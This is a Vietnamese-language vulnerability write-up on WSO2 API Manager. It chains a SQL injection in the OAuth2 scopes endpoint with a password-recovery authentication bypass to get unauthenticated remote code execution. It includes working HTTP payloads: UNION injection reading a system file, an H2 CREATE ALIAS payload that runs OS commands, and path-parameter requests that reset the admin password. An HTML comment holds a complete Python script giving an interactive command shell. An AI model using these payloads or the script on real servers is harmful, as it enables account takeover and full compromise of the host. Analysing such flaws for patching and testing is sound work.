# WSO2 from bypass authentication to RCE ## WSO2-2022-2182 Thông tin về lỗi các bạn có thể đọc ở đây: https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2023/WSO2-2022-2182/ Các phiên bản bị ảnh hưởng bao gồm: ![image](https://hackmd.io/_uploads/SJrIblaxA.png) ### Setup Các bạn download ở đây nha: https://github.com/wso2/product-apim/releases/tag/v4.0.0 Sau khi tải về thì các bạn chạy file `bin/api-manager.bat`, nhớ set thêm `-debug 5005` để có thể debug được bằng intellij. Sau khi connect debug ở trong intellij thì bạn vào url này để chạy nha `https://localhost:9443` Default credential sẽ là `admin:admin` ![image](https://hackmd.io/_uploads/BJyU7xae0.png) ### Phân tích Ở trong bài phân tích thì người ta cũng nói là SQLi nằm ở trong endpoint của Oauth2 nên chúng ta cứ tìm ở đó thôi. Cụ thể nó sẽ nằm ở function `org.wso2.carbon.identity.oauth2.dao.OAuthScopeDAOImpl.getRequestedScopesOnly` ![image](https://hackmd.io/_uploads/SkjG4xaeA.png) Set breakpoint thì thấy đã trigger được breakpoint. ![image](https://hackmd.io/_uploads/HJfFDeaxC.png) Bây giờ chúng ta cần phải hiểu được cách mà API này hoạt động. Mình đã tìm được doc của API này ở đây nhé. https://is.docs.wso2.com/en/latest/apis/oauth2-scope-management-rest-apis/#tag/Scope-Management/operation/getScopes ![image](https://hackmd.io/_uploads/BkkawxTeC.png) Vậy là chúng ta sẽ có 4 parameter để vọc vạch. Giờ bắt đầu phân tích flow của code. Đầu tiên là nếu chúng ta set parameter của `includeOIDCScopes` là true thì chúng ta sẽ nhảy đến câu SQL ngắn hơn, còn không thì sẽ nhảy vào câu SQL dài hơn. Tiếp theo đó là sẽ tạo một biến là `requestedScopeList`. Ở đây nó sẽ sử dụng regex `\\s+` để split ở các dấu cách, rồi sau đó sẽ gán vào list `requestedScopeList`. Tiếp theo đó nó sẽ sử dụng Collector joining để có thể để ghép `('` và `')` nhắm tiếp theo đó đưa vào trong câu SQL. Ví dụ như nếu chúng ta truyền vào value `1` thì sẽ thành `('1')`. Tiếp theo đó sẽ xài hàm replace để thay `(?)` ở trong câu SQL query thành giá trị của sqlIn. Đây chính là sink của lỗi SQL injection tại vì câu query đã bị thay đổi và kiểm soát trước khi được execute. Mặc dù developer đã sử dụng prepared statement nhưng mà điều này cũng vô ích vì chả có tác dụng gì trong việc chống SQL injection vì cách dùng đã là sai từ lúc đầu rồi `¯\_(ツ)_/¯` ![image](https://hackmd.io/_uploads/H1dE2x6lA.png) ![image](https://hackmd.io/_uploads/HJOx3l6xR.png) Bây giờ thử SQL injection đơn giản nha. ![image](https://hackmd.io/_uploads/r1tAnlTlA.png) ![image](https://hackmd.io/_uploads/r1Skpx6xC.png) Wait, mình quên mất cái vụ regex nếu nó gặp dấu cách thì nó sẽ split ra, nên giờ mình phải dùng dấu comment `/**/` để có thể thay thế cho dấu cách nha. ![image](https://hackmd.io/_uploads/ry4B6gpxA.png) Đã return hết toàn bộ rồi! Giờ mình thử union attack thôi :+1: ![image](https://hackmd.io/_uploads/r10GG-6eC.png) Đã list ra được toàn bộ database. Khi mình đi tìm kiếm các function hữu ích để có thể escalate tấn công thì mình thấy có 2 function thú vị đó chính là `FILE_READ` hoặc là `FILE_WRITE`. ![image](https://hackmd.io/_uploads/BkchMWagC.png) ```http! GET /api/identity/oauth2/v1.0/scopes?includeOIDCScopes=1&requestedScopes=<@urlencode>')/**/union/**/select/**/null,(select/**/FILE_READ('C:/windows/win.ini',NULL)),null,null,null,null--<@/urlencode> HTTP/1.1 Host: localhost:9443 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 0 Connection: close ``` ![image](https://hackmd.io/_uploads/HyUxX-aeC.png) Nhưng mà bây giờ làm thế nào để có thể RCE được? Well, chúng ta đã có hàm `create_alias`. https://www.h2database.com/html/commands.html#create_alias Hàm này được sử dụng để có thể tạo một custom function được tạo nên từ java code. Ví dụ như nếu chúng ta muốn tạo ra một hàm reverse string, chúng ta có thể làm như này. `CREATE ALIAS REVERSE AS 'String reverse(String s) { return new StringBuilder(s).reverse().toString(); }';` Nếu vậy thì bây giờ chúng ta đã có thể RCE được rồi. <!-- Set alias function ```http! GET /api/identity/oauth2/v1.0/scopes?includeOIDCScopes=1&requestedScopes=<@urlencode>');CREATE/**/ALIAS/**/RCE/**/AS/**/'String/**/rce(String.../**/cmd)/**/throws/**/java.io.IOException{java.util.Scanner/**/s=new/**/java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");return/**/s.hasNext()?s.next():"";}'--<@/urlencode> HTTP/1.1 Host: localhost:9443 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 0 Connection: close ``` --> Sau khi mình tạo một RCE alias function có output thì mình sẽ call nó thôi ```http! GET /api/identity/oauth2/v1.0/scopes?includeOIDCScopes=1&requestedScopes=<@urlencode>')/**/union/**/select/**/null,RCE('powershell.exe','whoami'),null,null,null,null--<@/urlencode> HTTP/1.1 Host: localhost:9443 Authorization: Basic YWRtaW46YWRtaW4= ``` ![image](https://hackmd.io/_uploads/BkILVW6eR.png) Nhưng mà để có thể khai thác lỗi này cần phải có được credential của user có quyền xem được các scope API, trong đó có admin user. Vậy thì chúng ta có cách nào để bypass được cái này không? Thì chúng ta cần phải tận dụng thêm một lỗ hổng mới, đó chính là WSO2-2022-2177 :sunglasses: ## WSO2-2022-2177 ### Overview Ở lỗ hổng này, chúng ta sẽ tận dụng lỗi Broken Access Control ở trong reset password API để có thể lấy được account của bất kì user nào mà chúng ta biết được username. Đây là các phiên bản bị ảnh hưởng ![image](https://hackmd.io/_uploads/H1CM8kObR.png) Tóm tắt về lỗ hổng ![image](https://hackmd.io/_uploads/S1yVLyuW0.png) ### Setup Trước tiên chúng ta cần phải setup server SMTP để có thể tận dụng khả năng reset password bằng mail của WSO2. Mình sử dụng PaperCut để có thể dễ dàng setup `https://github.com/ChangemakerStudios/Papercut-SMTP` Sau khi setup, chúng ta cần setup một chút ở PaperCut, mình để như này. ![image](https://hackmd.io/_uploads/ByxhLku-C.png) ![image](https://hackmd.io/_uploads/SkxApmU-R.png) Ở WSO2, các bạn setup theo 2 link hướng dẫn này. `https://is.docs.wso2.com/en/5.9.0/setup/configuring-email-sending/` `https://www.youtube.com/watch?v=8sYJSFp_OSI` Ở file `/repository/conf/deployment.toml`, mình add thêm setup như này ``` [identity_mgt.password_reset_email] enable_password_reset_email=true [output_adapter.email] from_address= "platform@wso2.com" username= "" password= "" hostname= "localhost" port= 2500 enable_start_tls= false enable_authentication= false ``` Sau đó các bạn thử sử dụng chức năng reset, nếu đã nhận được mail thì hoàn tất. ![image](https://hackmd.io/_uploads/SyAnDJOW0.png) ![image](https://hackmd.io/_uploads/r1CavyubC.png) ### Phân tích Đây là doc của API recover password `https://is.docs.wso2.com/en/latest/apis/organization-apis/org-account-recovery/#tag/Password-Recovery/paths/~1recover-password/post` Đặt breakpoint ở function `org.wso2.carbon.identity.recovery.password.NotificationPasswordRecoveryManager.sendRecoveryNotification()` rồi gửi request yêu cầu reset password như này. ![image](https://hackmd.io/_uploads/H1nx7gdWA.png) ![image](https://hackmd.io/_uploads/rya-7xd-C.png) Ở dòng 56-65, chương trình bắt đầu kiểm tra những thông số đã được cài đặt sẵn như là tenant domain, property, cùng với đó là kiểm tra email của người dùng có hợp lệ hay không. Ở dòng 77, chúng ta thấy rằng chương trình bắt đầu gọi một instance của JDBC nhằm lưu lại thông tin, nhưng mà là của cái gì? Ở dòng 79, chương trình bắt đầu gọi đến hàm `generateSecretKey`, thử jump vào đó. ![image](https://hackmd.io/_uploads/SJjTBx_WR.png) Tóm tắt lại function này thì nếu chúng ta reset password bằng SMS channel thì chương trình sẽ tạo một OTP gồm 6 kí tự, còn nếu không thì chương trình sẽ generate một chuỗi UUID. Tiếp theo ở dòng 82 sẽ bắt đầu lưu chuỗi hoặc OTP vừa nhận được vào trong database bằng JDBC như chúng ta thấy ở line 77 nhằm xác thực ở sau này. ![image](https://hackmd.io/_uploads/H1pv8eu-R.png) ![image](https://hackmd.io/_uploads/HkCrtgO-R.png) Ở đây chương trình của mình đã nhảy vào hàm else nhằm setKey cho response bean để có thể trả về UUID. ![image](https://hackmd.io/_uploads/BkyOXW_ZC.png) Nhưng mà vấn đề là chúng ta cần phải được có được credentials của bất kì người dùng nào để có thể sử dụng API này nhằm đưa vào header `Authorization`. Điều này được được xử lí ở `org.wso2.carbon.identity.auth.valve.AuthenticationValve.invoke()`. Mình biết được điều này do thấy nó ở stack trace lúc debug. ![image](https://hackmd.io/_uploads/Hk6QPyF-0.png) Nếu như không thể authenticate người dùng được thì sẽ trả về 401 ![image](https://hackmd.io/_uploads/ry5utZuWC.png) ![image](https://hackmd.io/_uploads/r1WAYWdbC.png) Bây giờ xem thử cách mà chương trình authenticate người dùng ![image](https://hackmd.io/_uploads/B13HrZ_bC.png) Ở line 60, đầu tiên chương trình sẽ lấy URI và request method hiện tại nhằm mục đích tạo một so sánh với regex. Thử đặt breakpoint ở line 42 function `org.wso2.carbon.identity.auth.service.AuthenticationManager.getSecuredResource()`. Ở đây chương trình sẽ check xem cần lấy config cho secure resource nào. ![image](https://hackmd.io/_uploads/rykooWd-0.png) Chương trình đã trả về với context là một regex `(.*)/api/identity/recovery/(.*)` Để ý thì đây là một đoạn regex nhằm lấy những đoạn uri có string là `/api/identity/recovery/`. Ở đây server đang chạy là tomcat nên chúng ta có thể lợi dụng URI Normalization của tomcat được. Ở đây vì mình đã bypass được đoạn regex nên `secureResourceConfig` sẽ không tìm thấy cách nào để có thể authenticate của mình cả => Authentication Bypass. ![image](https://hackmd.io/_uploads/Hyl02-_ZA.png) ```http! POST /api/identity/recovery;foo/v0.9/recover-password?type=email&notify=1 HTTP/1.1 Host: localhost:9443 Content-Length: 105 Content-Type: application/json { "user":{ "username":"user", "realm":"PRIMARY", "tenant-domain":"carbon.super"}, "properties":[] } ``` ![image](https://hackmd.io/_uploads/r19Ep-dW0.png) Sau khi bỏ debug ở payload bypass authentication, các bạn có thể thấy biến `secureResourceConfig` đã trả về null. ![image](https://hackmd.io/_uploads/rJlf-RuWA.png) Cũng như vậy, chúng ta đổi password của user admin thôi ```http! POST /api/identity/recovery;foo/v0.9/set-password HTTP/1.1 Host: localhost:9443 Content-Length: 92 Content-Type: application/json { "key":"3d606897-9917-4fd9-abe1-5566f8182b16","password":"1234567890", "properties":[] } ``` ![image](https://hackmd.io/_uploads/S18va-uZ0.png) ![image](https://hackmd.io/_uploads/Hy-i6ZdbC.png) Kết hợp với 2 lỗi, chúng ta đã có được unauthenticated RCE <!-- ```python= import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning from base64 import * import json #Disable TLS warning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) url = input("Enter URL , ex: https://localhost:9443\n") r = requests.Session() #Check connection assert r.get(url,verify=False).status_code == 200 # Take the reset password code of user admin print("Getting reset code of user admin") reset_code= r.post(url=url+"/api/identity/recovery;foo/v0.9/recover-password?type=email&notify=1", json={ "user":{ "username":"admin", "realm":"PRIMARY"}, "properties":[] }).text.strip() #If assert fails, then user admin doesnt exist assert reset_code != "" print(reset_code) # Reset admin password to 123 print("Changing user admin password to 123456789") r.post(url=url+"/api/identity/recovery;foo/v0.9/set-password",json={ "key":reset_code,"password":"123456789", "properties":[] }) print("Done") print("Set alias function to prepare for rce") b64_credentials = b64encode(b"admin:123456789").decode() r.get(url=url+"/api/identity/oauth2/v1.0/scopes",params={ "includeOIDCScopes":"1", "requestedScopes":"""');CREATE/**/ALIAS/**/RCE/**/AS/**/'String/**/rce(String.../**/cmd)/**/throws/**/java.io.IOException{java.util.Scanner/**/s=new/**/java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");return/**/s.hasNext()?s.next():"";}'--""" },headers={ "Authorization":f"Basic {b64_credentials}" }) print("Spawn shell") shell = input("What type of shell? powershell.exe or /bin/bash : ") while(True): cmd = input("$ ") output = r.get(url=url+"/api/identity/oauth2/v1.0/scopes",params={ "includeOIDCScopes":"1", "requestedScopes":f"""')/**/union/**/select/**/null,RCE('{shell}','{cmd}'),null,null,null,null--""" },headers={ "Authorization":f"Basic {b64_credentials}" }).text final_output = json.loads(output) print(final_output[0]["name"]) ``` --> ![image](https://hackmd.io/_uploads/BJtH8Mu-C.png)